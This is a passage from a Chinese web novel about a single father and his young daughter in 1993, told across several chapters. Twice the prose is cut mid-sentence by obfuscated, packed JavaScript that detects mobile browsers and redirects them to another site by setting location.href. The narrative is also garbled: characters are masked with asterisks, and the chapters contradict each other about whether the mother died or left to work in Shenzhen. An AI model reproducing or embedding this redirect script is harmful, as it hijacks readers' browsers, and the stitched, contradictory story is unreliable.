红薯的香味钻进笑笑鼻子里,她咬了一口,烫得直吐舌头,糖汁沾在嘴角,张奶奶用袖口给她擦了擦,笑出满脸皱纹。 藏在糖衣下的寒意 林凡靠在“笑笑”牌童装店的玻璃柜台后,看着女儿蹦跳着跑向修车铺,手里的算盘停了半拍。 柜台里摆着几件刚熨烫好的小花袄,布料叠得整整齐齐,标签上用钢笔写着“25元/件”,衣服胸口印着“好好学习”的红字,是当时最时兴的样式。 他喉结悄悄发紧,那层裹着女儿的欢愉糖衣下,总藏着个挥不去的影子——上周从动物园出来时,那个穿藏青色双排扣风衣、戴太阳镜的女人。 1993年的小城还没多少陌生人,当时全国流动人口刚突破7000万,大多涌向沿海城市,像他们这样的北方小城, 街上走的不是街坊邻居,就是周边村镇来赶集的人,手里常提着装满鸡蛋的竹篮,偶尔还会问“收粮票不?”。 居委会前阵子刚在公告栏贴了“警惕外来人员”的红色通知,用毛笔写的大字,还盖了居委会的红章,旁边贴着公交时刻表,用红漆写着“1路车每20分钟一班”。 通知上说邻市最近丢了三个孩子,有目击者说人贩子专挑单独带孩子的家长下手。 那会儿没有监控摄像头,居委会只能靠大妈们轮流盯梢、贴通知提醒,林凡每次路过公告栏,都要站着看半天,手里攥着的钱包里,还夹着几张皱巴巴的粮票—— 虽然用得少了,但总舍不得扔,心里像被浸了冷水,沉得发慌。 那天他牵着笑笑等1路公交车,那辆绿色的铰接式“绿色通道”车迟迟没来,女人就站在公交站牌后,双手插在风衣口袋里,太阳镜遮住了大半张脸。 笑笑扯着他的衣角要吃冰棍,他掏口袋找零钱,摸出几枚1分、2分的硬币,还有一张一角的纸币,余光总瞥见女人在看笑笑。 直到十分钟后,公交车“哐当哐当”地开过来,排气管冒着黑烟,门一打开,女人才转身往相反方向走,风衣下摆扫过路边的野草,没留下一点痕迹。 上车后,笑笑趴在车窗上看风景,指着路边卖油条的摊位喊“爸爸你看!”,他却紧紧攥着女儿的手,手心全是汗,连硬币硌在掌心里都没察觉。 刻进日常的警惕 从那以后,林凡的警惕几乎成了本能。 每天早上送笑笑去居委会活动室,他都要推着28寸的永久牌自行车,绕着活动室的院子走两圈。 车把上挂着一个军绿色的水壶,里面装着白开水,还有一个网兜,装着给笑笑换的鸡蛋——是用最后几张粮票在粮店换的。 院子里的木栅栏是去年冬天新钉的,他得确认每根木柱都没松动,栅栏上没被人撬开的痕迹;活动室窗台上摆着三盆仙人掌,那是张婶特意放的“安全暗号”—— 只要仙人掌还在原位,就说明早上没人来过。 活动室里摆着四张旧木桌,是从附近工厂淘汰下来的,桌面被孩子们用铅笔划得满是痕迹,有的还画了粮票的样子,歪歪扭扭写着“1斤”“半斤”。 墙上贴着“计划生育光荣”的红色标语,标语下方还钉着一块小黑板,写着 “今日活动:学唱《娃哈哈》、认粮票面值”。 1993年计划生育是基本国策,居委会的主要工作之一就是宣传政策,每次开居民大会,主任都会反复强调“少生优生”,手里还拿着一叠宣传册,封面上印着“优育知识”。 孩子们课间玩的拍洋画,是当时最流行的玩具,画的不是变形金刚就是黑猫警长,五毛钱能买一大张,用透明塑料袋装着,笑笑的洋画都是林凡从百货大楼买的,比小卖部的质量好,不容易破,她总把洋画夹在语文书里,像藏着宝贝。 他还会特意跟门口卖糖葫芦的赵大爷多聊两句。 大爷姓赵,是退休工人,每天早上推着插满糖葫芦的稻草捆来摆摊,稻草捆上插着几面小旗子,写着“无添加”,五毛钱一串。有路过的老人问“用粮票换行不行?”,赵大爷摆摆手: “现在粮票不顶用喽,要现金!” 林凡每次问“赵大爷,今天没见生面孔吧?”,赵大爷都会放下手里的糖锅,往四周看一眼: “没有,都是老熟人,你放心,有陌生人我第一时间喊你。” 糖锅里的糖稀冒着泡泡,甜香味飘得老远,笑笑每次路过,都会盯着糖葫芦咽口水,林凡总说“等周末给你买”,却总怕她离开自己的视线。 林凡私下找过张婶、李姨几个常凑在居委会长椅上做针线的大妈。那天他特意带了两斤苹果,用网兜装着,是前几天去市区送货时买的红富士,在当时算稀罕水果,三块钱一斤。 大妈们织毛衣时,手指上套着铁制顶针,线团旁边放着旧报纸,上面印着“粮票即将停止流通”的新闻。 “我就这一个闺女,她妈走得早,要是见着有人老盯着她看,麻烦你们多留意些。”他说着,把苹果往大妈们手里塞,眼神里满是恳切。 李姨接过苹果,擦了擦上面的灰: “凡子,你这是太紧张了,咱们这院儿谁不认识笑笑,谁家孩子不是大伙看着长大的?” 张婶也说:“前儿王家还把粮票换成面了,说再不用就过期了,日子都往好里过,别瞎担心。” 但架不住林凡反复叮嘱,张婶最后拍了拍他的胳膊:“你放心,我们天天在这儿织毛衣、看孩子,有情况准第一时间告诉你。” 童装店的烟火气与牵挂 日子表面上过得平稳,像居委会门口那条被踩得发亮的青石板路,每天都有街坊邻居来来往往,透着烟火气。 林凡的“笑笑”牌童装店,在小商品市场里渐渐有了名气。 1993年的童装市场还不算热闹,大多是百货大楼里的“娃娃乐”“小天使”等老品牌,这些品牌靠批量生产降低成本,常搞“买一送一”的打折促销,一件棉袄才卖三十多块。 市场里的摊位挤挤挨挨,卖布的摊位挂着“涤棉布一元一米,纯棉布凭票加钱”的牌子,老板拿着尺子量布,喊着“要多少?给你算便宜点!” 但林凡的童装不一样。 他选的纯棉布料,在当时要三块七一米,比涤棉布料贵两毛钱,布店老板劝他“涤棉耐穿,卖得快”,他却摇头:“纯棉软和,孩子穿在身上不硌得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636909|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌。” 他还特意让小作坊的师傅在领口加了一层软衬布,用的是白色的细棉布,不容易磨坏孩子娇嫩的脖子;纽扣选的是圆润的塑料扣,比金属扣贵几分钱,却不用担心刮着孩子的皮肤。 有次李姐来买外套,手里提着一个印着“北京牌”的布包,里面装着刚换的面粉,还牵着上小学的儿子,儿子身上穿的就是去年在林凡这儿买的蓝色棉袄。 “凡子,你这衣服质量是真不错,我儿子这棉袄洗了三次,用肥皂搓都没变形,棉花也没结块,比百货大楼里的还耐穿。” 李姐说着,指了指身后的邻居:“这次我特意带她来,她家姑娘跟笑笑差不多大,也该买新棉袄了。” 就这么着,“笑笑”牌慢慢攒下了回头客。订单多的时候,林凡得骑着28寸的永久牌自行车,驮着两大包衣服往市区跑。 当时的公交车虽然是五毛钱一张票,但绿色的铰接式“绿色通道”车人太多,尤其是早晚高峰,连车门都挤不上去,驮着衣服根本没法上车。 自行车虽然累,却能准时送到市区的专柜。每次出发前,他都要跟隔壁修车铺的张哥和搭档王猛叮嘱好几遍: “中午让笑笑去张婶家吃,张婶做的面条她爱吃,放两勺酱油就行,别让她自己跑远了,放学你帮我接一下。” 王猛手里拿着铁皮饭盒,里面装着玉米粥和咸菜,拍着胸脯应下: “你放心,有我呢,保准把笑笑看得好好的,中午再给她买个糖糕,两毛钱一个,她最爱吃。” 可林凡推着自行车走出老远,还忍不住回头看一眼童装店的方向,店里的灯还亮着,像他心里的牵挂,拉得长长的,绷得发紧。 填不满的空缺 可林凡最怕的,不是外面那些看不见的风险,而是笑笑心里那片他摸不着的角落。 1993年的冬天来得早,十一月初就下了第一场雪,雪花飘在童装店的玻璃上,很快就化成了水,顺着玻璃流下来,像一道道小眼泪。 街头的煤堆堆得老高,卖煤的师傅推着小车吆喝 “平价煤——五十块一吨!”, 煤屑被风吹得四处飘,落在行人的衣领上。有天晚上,笑笑窝在被窝里,盖着林凡缝的小花被,被子上的补丁绣着一朵小蓝花,是他照着她妈妈的旧衣服缝的。 她小手攥着林凡的衣角,小声问: “爸爸,妈妈什么时候能回来陪我画画呀? 我想让妈妈看我画的老虎,老虎旁边的位置我一直留着,给妈妈画个小裙子好不好?” 林凡顿了顿,把女儿往怀里搂了搂,想说“妈妈很快就回来”,却觉得喉咙发堵。 他知道,女儿画的每一张画里,老虎旁边都留着个空位置,有时候会用铅笔轻轻描个小裙子的轮廓,有时候会画一朵小花; 他知道,每天下午放学,笑笑看到别的小朋友被妈妈接走时,会悄悄攥紧手里的蜡笔,把脑袋低下去,直到那些小朋友走远了才抬头,嘴角还沾着从张婶家拿的饼干渣—— 那饼干是用粮票换的,她舍不得吃,总说“留着给妈妈”; 他知道,女儿夜里偶尔会哭着喊妈妈,眼角挂着泪珠,却不敢大声哭,怕吵醒他,哭完还会把林凡的手往自己怀里拉,像怕他也走了。 这些事,像细针似的扎在林凡心里,比担心那个风衣女人时的寒意,更让他无力。 有天晚上关店后,他从抽屉里翻出笑笑妈妈的照片,照片是两年前拍的,彩色的,却因为放得久了,边缘有点褪色,照片后面用钢笔写着“1991年10月,粮店门口”。 照片里的女人抱着笑笑,笑得很温柔,手里还提着一个网兜,装着刚换的大米。他用蓝白格子的手帕轻轻擦了擦照片,手帕上绣着“平安”两个字,是她妈妈亲手绣的。 心里像被掏空了一块,他能挡住外面的风,能给笑笑买喜欢的蜡笔,能做她爱吃的面条,却填不满女儿心里的空缺——那个关于妈妈的空缺,是他无论怎么努力,都补不上的。 那天晚上,林凡给笑笑讲了个老虎的故事,讲老虎带着小老虎去看春天的花,讲完后,笑笑很快就睡着了,小手还攥着他的衣角,嘴角带着笑。 他坐在床边,看着女儿的睡颜,心里默默想:等明年春天,粮票估计就彻底不用了,到时候再带笑笑去一次动物园, 给她买两盒中华牌蜡笔,让她把老虎旁边的位置画满,画成她喜欢的样子,画满小花,画满阳光,画满她能想到的所有美好。 第六十四章:雨雾里的牵挂 1993年的春天,南方的梅雨季比往年早了近半个月。 雨丝像被扯碎的棉絮,裹着华南地区特有的潮气黏在皮肤上,凉得能渗进骨头缝里—— 清晨推开窗,老街的青石板上总蒙着一层薄苔,踩上去能听见“滋啦”的轻响,墙角的爬山虎被雨水泡得发亮,连空气里都飘着股潮湿的霉味。 从市区往老街的三里石子路还没铺水泥,坑洼里积的雨水能映出头顶的槐树影,自行车轮碾过时,时常溅起指甲盖大的泥点: 泥点里混着路边老槐树的枯黄落叶,还有偶尔从供销社后门飘来的、“蜂花”牌廉价肥皂的淡香—— 那是供销社里卖得最好的日用品,一块五毛钱能用上半个月,老街主妇们总爱趁着雨小的时候,攥着零钱来囤货。 林凡的“便民小铺”就嵌在老街中段最热闹的拐角,左边是修鞋的李伯摊,右边是卖早点的陈姨推车。 木质招牌是前两年请巷尾的老木匠做的,“便民”二字的红漆早已褪得露出深褐色木纹,只在笔画拐角处还剩点艳色,却在灰蒙蒙的雨雾里,透着比周遭更浓的烟火气。 李伯的修鞋摊总摆着个掉漆的铁皮盒,里面装着大小不一的鞋钉和磨得发亮的顶针,他修鞋时总爱哼着粤剧片段,手上的老茧能把粗麻绳磨得发烫; 今年开春后,他在摊旁支起了卖袜子的木架,“天鹅牌”棉袜一块钱三双,常有放学的孩子拉着家长的手来挑,李伯总会多送颗水果糖—— 那是从林凡店里换的货,他说“孩子甜了,生意才甜”。陈姨的早点车则是老街的“晨钟”,每天五点半准点推出来,煤炉上的铁锅冒着白汽,豆浆两毛钱一碗,油条五分钱一根, 最近还多了块写着“茶叶蛋五毛钱俩”的硬纸板。陈姨总说自己的茶叶蛋是“秘方”,用八角、桂皮煮上整夜,连汤都透着香,林凡去进货前,总爱来买两个当早饭。 这年正是个体经济从政策松绑里“冒尖”的年头,据当时的《经济日报》报道,1993年全国个体工商户已突破1766万户,南方沿海地区更是掀起“开店热”。 老街半数人家拆了院墙开铺子:张叔家的裁缝铺添了台二手缝纫机,能做当时流行的“萝卜裤”; 赵婶把自家堂屋改成了杂货店,卖些针头线脑和小孩玩具;连巷口的老王都摆起了水果摊,推着木板车在街上来回吆喝。 但林凡守着的小店始终只卖童装、玩具和文具——货架最上层摆着散装的水果硬糖,用三个玻璃罐盛着,分别标着“橘子味”“香蕉味”“草莓味”,那是笑笑最喜欢的零食,林凡总怕她偷吃,却又忍不住每天多放两颗在她的小口袋里; 中层是肥皂、火柴、针线包,都是每周三清晨去市区南门批发市场批的货,肥皂每块比供销社便宜一毛钱,针线包五毛钱一个,里面有六根不同颜色的线,老街的媳妇们都爱来这儿买; 最下层堆着几箱娃哈哈,箱角总被蹭得发白,批发价一块二一瓶,卖一块五,利润薄得很,但林凡一直没涨价—— 他知道老街的孩子都爱喝,多赚那三毛钱,心里不踏实。 林凡既当爹又当妈,带着五岁的笑笑过活已有大半年。 店里的红木算盘旁总放着笑笑的小画本,画本的封面是粉色的塑料皮,边角被磨得卷了边。里面歪歪扭扭画着不少小人: 有举着算盘的爸爸,穿着蓝色褂子,嘴角画得翘翘的; 有摆着糖果罐的小店,门囗画着棵小槐树;还有抱着洋娃娃的自己,扎着两个小辫子。 唯独在画本的最后一页,留着一块空白,笑笑总说那是“妈妈的位置”,偶尔会用蜡笔在上面画几道长头发,却从没画完过—— 她记不清妈妈的样子了,只记得妈妈的头发很长,闻着有肥皂的香味。 那天下午,雨丝织得更密了,风裹着雨斜斜打在脸上,像小针扎得疼。 林凡蹬着那辆除了铃铛不响哪儿都响的二八大杠自行车,从市区南门批发市场回来时,蓝布褂的裤脚已湿到膝盖,裤腿上还沾着泥点。 那辆自行车是他结婚时买的“永久牌”,车座上补着两块补丁,车把上缠了圈旧布套,是笑笑妈妈生前缝的,现在已经磨得发亮。 车后座的网兜里,两箱“大大泡泡糖”和“娃哈哈”摞得稳稳的——最上面那箱娃哈哈的纸壳上,印着模糊的出厂日期“1993.04”,红色宋体字被雨水晕开,像洇湿的泪痕。 他把车靠在店门口的梧桐树下时,特意看了眼树桠—— 去年秋天妈妈走的时候,笑笑在这棵树上系了根红绳,说“红绳飘起来,妈妈就能看见家”,现在红绳还在,只是被雨水泡得褪了色。 车把上挂着的塑料袋里,装着给笑笑买的两个肉包子—— 是陈姨早点车剩下的,她特意留给他的,还热乎着,咬一口能看见里面的肉馅,混着葱花的香味。 林凡抹了把脸上的雨水,推开门,暖黄的灯泡下,熟悉的场景却让他愣在原地: 往常这时,笑笑早该举着缺了颗珠子的算盘跑过来,清脆地喊“爸爸”,还会把算珠拨得“噼里啪啦”响,说“爸爸今天赚了多少钱呀”; 可今天,她却独自坐在角落的小棉垫上—— 那棉垫是笑笑妈妈去年秋天走前缝的,米白色布面上绣着只歪嘴兔子,兔子的眼睛是用黑纽扣缝的,现在布面洗得发灰,边角起了**球,笑笑每天都会把它拍得平平整整。 笑笑怀里紧紧抱着那个塑料蓬蓬裙洋娃娃,娃娃的金发掉了一撮,露出里面的塑料壳,笑笑总用自己的红头绳给它扎小辫子, 还会把林凡给的水果糖藏在娃娃的裙子里,说“给娃娃留着吃”—— 这是去年林凡去广州进货时,在流花车站旁的小商品市场花三块五毛钱买的。 当时市场里挤得满是进货的小贩,林凡在十几个娃娃里挑了这个,就因为它穿着粉色的蓬蓬裙,笑笑之前总说“想要条粉色的裙子”。 现在,笑笑把娃娃抱得紧紧的,小脑袋抵着木框窗,眼神空空地盯着窗外: 雨丝斜斜落在对面红星幼儿园的铁栅栏上,栅栏上刷着的“好好学习,天天向上”红漆被雨水冲得发暗,门口的滑梯上积着水,再也没有孩子的笑声。 柜台后,搭档王猛正搓着双手,他那双修自行车磨出老茧的手,此刻捏着个没编完的草蚱蜢——那是他平时哄笑笑的玩意儿, 他编的草蚱蜢有两条长长的后腿,还能蹦跶,笑笑总把它放在口袋里,说“蚱蜢陪我玩”。 王猛的堂兄弟王城的修车摊就在街对面,铁皮工具箱上贴满了1992年的旧报纸,报上的头条还是“***南巡讲话”,工具箱旁总放着个搪瓷缸,缸身上印着“劳动最光荣”, 里面泡着粗茶,是巷尾茶叶店买的“粗枝”,一块钱能买一大包。 他是老街出了名的热心肠,林凡去市区进货时,总把笑笑托付给他,他还会给笑笑煮红薯粥,有时加勺白糖,有时加颗红枣,说“孩子要多吃点甜的”。 见林凡进来,王猛连忙站起来,压低声音,语气里满是无奈: “下午三点多幼儿园放学,你是没瞧见那阵仗——好些妈妈打着折叠伞来接,有的伞面是碎花的,印着小桃花,有的是亮堂堂的宝蓝色,还有个穿的确良衬衫的妈妈, 骑着新买的木兰摩托车,车把上挂着铝制饭盒,我瞅见里面是糖水蛋,还卧着俩呢,飘着香油花! 笑笑就趴在这窗台上看,脸贴得玻璃都起雾气了,手指在上面画小圈圈,画的都是小裙子,看了快半小时。 后来别的孩子都走光了,幼儿园老师锁门时还问她‘怎么不回家呀’,她才坐回棉垫上。 我煮了红薯粥,特意加了勺白糖,她就尝了两口,勺子在碗里戳来戳去,把粥都戳凉了,没心思吃。” 林凡的心猛地一沉,像被雨水泡透的石头,手里的网兜“咚”地放在柜台上,泡泡糖的包装纸在寂静里发出细碎的“沙沙”声,像极了去年秋天笑笑妈妈走时,帆布包拉链的声响。 他太清楚孩子在看什么——1993年的老街,一半是守着店面盼生意的本地人,一半是像笑笑妈妈那样“往南闯”的外来者。 据当时的统计数据,1993年中国外出务工者已近4000万,他们大多从内陆乡村涌向深圳、广州、上海这些沿海城市,挤在闷热的厂房里,攥着皱巴巴的工资条。 去年十月,妈妈跟着同乡去了深圳沙井的电子厂,临走那天也是雨天。 她背着印着“深圳欢迎您”的帆布包,包上还绣着朵小梅花,是她自己缝的。 她蹲下来抱笑笑时,泪水混着雨水砸在笑笑的发顶,说“等妈攒够钱,就回来带笑笑去越秀公园看大象,还给你买粉色的裙子”。 可大半年过去,只寄过两封信,最近一封是上个月收到的,信封上盖着“深圳沙井邮电所”的邮戳,信纸是从厂里领的作业纸,字写得密密麻麻: “厂里每天要工作十二个小时,从早上八点到晚上八点,中间只有半小时吃饭时间,饭菜是白菜豆腐,偶尔能吃到肉; 宿舍是上下铺,十六个人住一间,没有电话,只能趁周日休息时,走二十分钟去镇上的邮局写信; 上个月发了工资,寄回家里两百块,留了五十块当生活费,等下个月发了工资,就给笑笑买条粉色的蓬蓬裙,比洋娃娃的裙子还好看……” 林凡轻手轻脚走到笑笑身边,蹲下身时,膝盖处洗得发白的牛仔裤蹭到地面的灰尘,留下道浅痕—— 这条裤子是他三年前买的,当时腰围正好,现在因为每天起早贪黑进货、看店,腰围松了一大圈,他用绳子在里面系了个结,外面看不出来。他柔声道: “笑笑,爸爸回来了,是不是哪里不舒服?” 笑笑慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644700|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬起头,睫毛上还挂着雨雾般的水汽—— 那不是窗外飘进来的雨水,是憋了好久的眼泪,顺着眼角的小细纹往下淌,在脸颊上积成小水珠,再砸在洗得发白的碎花衬衫上。 那衬衫是妈妈留下的旧衣服,领口松了,林凡前几天用黑线缝了两针,针脚歪歪扭扭的,像条小虫子。 她看着林凡,小嘴巴一瘪,泪水就像断了线的珠子,大颗大颗砸在布面上,晕开深色的圆点。她的声音带着哽咽,每一句都像小锤子,敲在林凡心上: “爸爸…… 为什么……别的小朋友……都有妈妈来接呀?” “小雅的妈妈…… 今天带了黄色的雨衣,上面有小鸭子…… 还把小雅抱在怀里……小雅的鞋子都没沾泥…… 我今天鞋子沾了泥,你看……” 她抬起脚,白色的小布鞋上果然沾着黑泥,是早上在幼儿园门口踩的。 “豆豆的妈妈…… 给豆豆买了彩虹糖, 就是上次爸爸在批发市场看的、 说要省着买的那种……豆豆还把绿色的给了丽丽……我也想吃彩虹糖……” “昨天丽丽的妈妈……还带了饼干, 是巧克力味的……丽丽分给我一块,我藏在口袋里想给爸爸…… 结果化了, 粘在裤子上,我洗了好久都没洗掉……” 她拉了拉裤子,上面果然有块淡淡的巧克力印。 “笑笑……笑笑也想要妈妈……妈妈是不是忘了笑笑了?” “妈妈…… 是不是觉得笑笑不乖,才不要笑笑了呀? 我昨天还帮王叔叔编草蚱蜢了,老师也说我乖……” 林凡伸手把孩子搂进怀里, 鼻尖蹭到笑笑柔软的头发——头发上还带着雨后的潮气, 混着他早上给她扎辫子时用的桂花头油的淡香,那是巷口张婶送的,说“女孩子要香香的”。 他忽然想起前几天写好的回信,还揣在贴身处的口袋里,信纸被体温焐得发暖,他在信里写: “笑笑很乖,每天都帮我看店,还会自己画画,她总问起你,说想你了……你在那边别太累,注意身体,我们等你回来……” 他摸了摸口袋里的信,心里发酸—— 他知道,1993年的中国,有太多像笑笑妈妈这样的父母,不是不爱孩子,是想多挣点钱,让孩子能少吃点苦: 不用像笑笑这样,穿改小的旧衣服; 不用把彩虹糖当稀罕物;不用趴在窗台上,看着别人的妈妈发呆。深圳沙井当时有近200家电子厂,每个厂里都挤满了像笑笑妈妈这样的务工者,他们每天在流水线上重复着同样的动作,手指被机器磨得发红,只为了能多攒点钱,让家里的孩子过得好一点。 雨还在下,梧桐树叶被打得“沙沙”响,李伯修鞋摊的收音机里,正播着当时流行的《小芳》, “村里有个姑娘叫小芳,长得好看又善良……” 的歌声混着雨声飘进来,在小店里绕了圈。 林凡轻轻拍着笑笑的背,手指拂过她后背衬衫上的褶皱,轻声说: “妈妈没不要笑笑,妈妈在深圳挣钱呢,那边的电子厂能做小收音机,妈妈做一个,就能给笑笑攒一点买裙子的钱。 等夏天到了,栀子花开的时候,妈妈就会回来啦。你看,爸爸今天进货时,特意给你买了彩虹糖,红的像苹果,黄的像橘子,咱们先吃一颗,好不好?” 他说着,从网兜里掏出个透明的小塑料袋,里面装着五颜六色的糖块—— 这是他今天在批发市场软磨硬泡,跟批发商多要的一袋。 当时批发商说“这糖进价贵,不能多送”,林凡跟他聊了半天,说“孩子好久没吃甜的了”,批发商才松了口。 本来想等笑笑周末生日时给她当礼物,现在却想早点让她尝到甜味。 笑笑的哭声渐渐小了,小脑袋靠在林凡的肩膀上,伸手接过一颗红色的糖,剥开糖纸,含在嘴里,甜味慢慢散开,从舌尖传到心里。 她吸了吸鼻子,小声说: “爸爸,那妈妈回来的时候,会像小雅妈妈那样,给我买黄色的雨衣吗? 还要带糖水蛋,卧两个的那种……” 林凡抱着孩子的手臂紧了紧,望着窗外渐渐变浅的雨雾—— 雨丝慢了,远处的天空透出点微光, 梧桐树叶上的水珠往下滴着,砸在青石板上,发出“嗒嗒”的声。 他轻声说: “会的,妈妈一定会的。 等妈妈回来,我们一起去越秀公园看大象, 还要买黄色的雨衣,煮糖水蛋,卧两个,给你和妈妈都吃。” 笑笑点了点头,把脸埋在林凡的怀里,手里攥着那颗彩虹糖的糖纸,慢慢闭上眼睛。 小店里很静,只有雨声、歌声, 还有林凡轻轻的心跳声,像在跟孩子说:日子会慢慢好起来的,妈妈会回来的,我们都会好好的。 第六十五章 妈妈的空缺 笑笑先前这一连串带着哭腔的质问,像一把把钝刀,在林凡的心脏上反复拉锯—— 不是锐痛,是磨人的酸胀,比上次在幼儿园门口更甚。 那回是1993年刚入秋,风里还带着夏末的余温,镇东头的老槐树刚落第一片叶子,笑笑攥着他裤腿小声哭, 被同班男生指着后背喊“没妈的孩子”时,也只敢把脸埋进他裤缝里,鼻尖蹭得布料起了层细绒。 那裤子是林凡从国营机械厂废品堆里捡的旧工装,1992年厂子减员增效,他作为临时工先下了岗,这工装是他唯一能留作纪念的物件。 深蓝色斜纹布被机床油浸过,洗了七八遍仍泛着淡淡的油光,膝盖处还打了块同色补丁,是他用母亲留下的粗棉线缝的,针脚歪歪扭扭却格外结实—— 当时镇上的裁缝铺补块补丁要5分钱,他舍不得,就对着镜子自己缝,手指被针扎破了好几次,血珠渗进布里,后来洗得淡了,只留下一点暗红的印子。 这次不一样,笑笑整个人像只受了惊的雏鸟,蜷在他怀里,小拳头死死攥着他洗得发白的的确良衬衫。 那衬衫是前年国营纺织厂发的劳保服,1993年国营纺织厂正赶上改制,不少车间停产,劳保服的布料也比往年薄了些, 全厂职工人手两件,林凡舍不得穿,只在逢年过节或带笑笑去镇上时才拿出来。 领口早被洗衣粉泡得磨出了毛边,布料硬挺得硌手,笑笑的指甲几乎要掐进布纹里, “爸爸,是不是我不乖,妈妈才不要我?” 尾音裹着委屈的颤栗,一滴泪砸在他胸口,迅速晕开一小片湿痕,凉得像块刚从井里捞出来的冰。 他这才惊觉,女儿藏在心底的自我怀疑早不是模糊的影子。 1993年乡镇幼儿园多是村办的,没**材,孩子们的玩具多是用罐头盒做的小车、布缝的沙包,笑笑每次去都躲在角落,不跟人抢玩具。 她会在每天睡前,把书包最底层那张仅存的照片翻出来摩挲——这张照片是1987年苏晚晴刚生下笑笑时,在县城照相馆拍的,当时一张三寸照片要5毛钱, 是林凡攒了三天的烟钱才拍的。照片上妈妈抱着襁褓里的她,穿的碎花衬衫是1987年流行的“泡泡袖”款式,如今颜色褪成了淡粉,边角被手指捻得发毛, 连妈妈嘴角的梨涡都磨得有些模糊。 幼儿园画画课时,别的小朋友用供销社买的12色蜡笔涂得五颜六色的全家福,蜡笔是“中华”牌,1块8一盒,笑笑只有半截断了头的红蜡笔—— 还是去年过年王猛家儿子用过剩下的。她只敢捏着这半截蜡笔,画一个举着糖葫芦的爸爸:爸爸的衣服是灰的,糖葫芦的糖衣却涂得格外亮,像是怕那点甜也被北方的秋风刮走。 这些细节像带刺的小藤,白天绕着笑笑的衣角,夜里就缠上林凡的枕头,让他总在凌晨惊醒,摸到身边空荡荡的位置时,想起苏晚晴走前叠得整整齐齐的被褥—— 那被褥是1986年他们结婚时,苏晚晴的陪嫁,蓝底白花的粗布被面,洗了这么多年仍没起球,她当时说“这布结实,能盖到笑笑长大”。 磨人的寒夜与父亲的沉默 同样的解释——“ 妈妈有苦衷”,在此刻轻得像片鸿**。1993年的春夜还带着料峭的寒,北方的倒春寒比冬天还难熬,白天最高温才8度,夜里能降到零下2度。 林凡的杂货铺没装煤炉,一来是蜂窝煤最近涨到3分钱一块,一天要烧5块才够暖,一个月下来就要4块5,占了杂货铺日均营业额的七分之一; 二来是怕煤烟呛着笑笑——去年冬天隔壁张婶家孩子就因为煤烟**住了院,乡镇卫生院的住院费一天要20块,林凡实在担不起这个风险。 水泥地面渗着凉气,顺着林凡的裤管往上爬,冻得他膝盖发僵。那膝盖是去年冬天进货时摔的,当时他骑着自行车去县城批发市场,路上结了冰,自行车在结冰的路上打滑, 他下意识用膝盖撑地,裤子磨破了个大洞,膝盖肿得像馒头,他没去看医生,只在镇上的赤脚医生那买了2毛钱的红花油,揉了半个月才好,至今阴雨天还会隐隐作痛。 笑笑在他怀里哭得浑身发抖,小小的肩膀一抽一抽,泪水顺着他的领口往下渗,连里面洗得泛黄的的确良秋衣都湿了一片,贴在皮肤上凉得刺骨。 她不再追问,只是把脸往他颈窝埋得更深,鼻翼蹭着他没刮干净的胡茬—— 他的剃须刀是旧的手动款,“飞鹰”牌,1988年买的,刀片钝了,每次刮都要蹭破皮肤,最近干脆隔两天才刮一次,省下买刀片的钱(一片刀片5分钱,能用三次)。 压抑的呜咽声像被捂住嘴的小兽,断断续续从喉咙里滚出来,比上次在巷口被野狗追着嚎啕大哭更让林凡心痛。 那次他还能抱起女儿赶走野狗,这次却只能抱着她,感受她的眼泪一点点浸热自己的皮肤,再慢慢变凉。 他想起上个月女儿发39度高烧,村里的赤脚医生捏着玻璃体温计摇头说“治不了,得去镇卫生院”。 那体温计还是带水银的,当时全镇只有三个赤脚医生有,医生反复叮嘱“别摔了,这玩意儿5块钱一支不好买,要去县城医药公司才能进到货”。 他抱着笑笑就往镇卫生院跑,脚上的解放鞋踩在冻土上咯吱响——这双鞋是1990年买的,鞋底已经磨平了,鞋帮裂了道口子,冷风灌进去,冻得他脚趾发麻,却不敢停一步。 从村里到镇上有5里地,全是土路,他跑了20分钟,到家时袜子都被血黏在脚上,是鞋里的小石子磨破了脚底。他没舍得扔这双鞋,只是用针线把鞋帮的口子缝了缝,继续穿。 夜里守着笑笑喂药时,15瓦的台灯昏黄的光落在女儿烧红的小脸上—— 这台灯是他从废品站淘的,灯座缺了个角,他用塑料布缠了缠,15瓦的灯泡1毛钱一个,比25瓦的省电费(当时电费是5分钱一度)。 笑笑迷迷糊糊抓着他的手,还在问:“妈妈会不会像李老师那样,给我唱《小星星》?” 李老师是幼儿园唯一的公办老师,每月工资87块,比林凡的杂货铺日均营业额还高,她总给孩子们唱当时流行的儿歌,笑笑最羡慕李老师怀里的孩子。 那时他只能拍着她的背沉默,如今这份沉默又堵在了喉咙口,连带着胸口都发闷,像压了袋没开封的标准粉面粉—— 那面粉是粮站按定量供应的,凭粮本购买,每斤1**8分,林凡的粮本每月能领20斤,他每次都省着吃,留着给笑笑做馒头,自己顿顿喝玉米糊糊。 杂货铺里的时代印记 窗外的雨淅淅沥沥打在铁皮屋檐上,店里昏黄的15瓦灯泡悬在房梁上,晃得货架上的货都蒙着层模糊的光。 1993年的乡镇杂货铺多是“前店后储”的格局,林凡的店也不例外,前面摆货架,后面的小隔间既是储物间,也是他和笑笑的卧室,中间用一块旧布帘隔开。 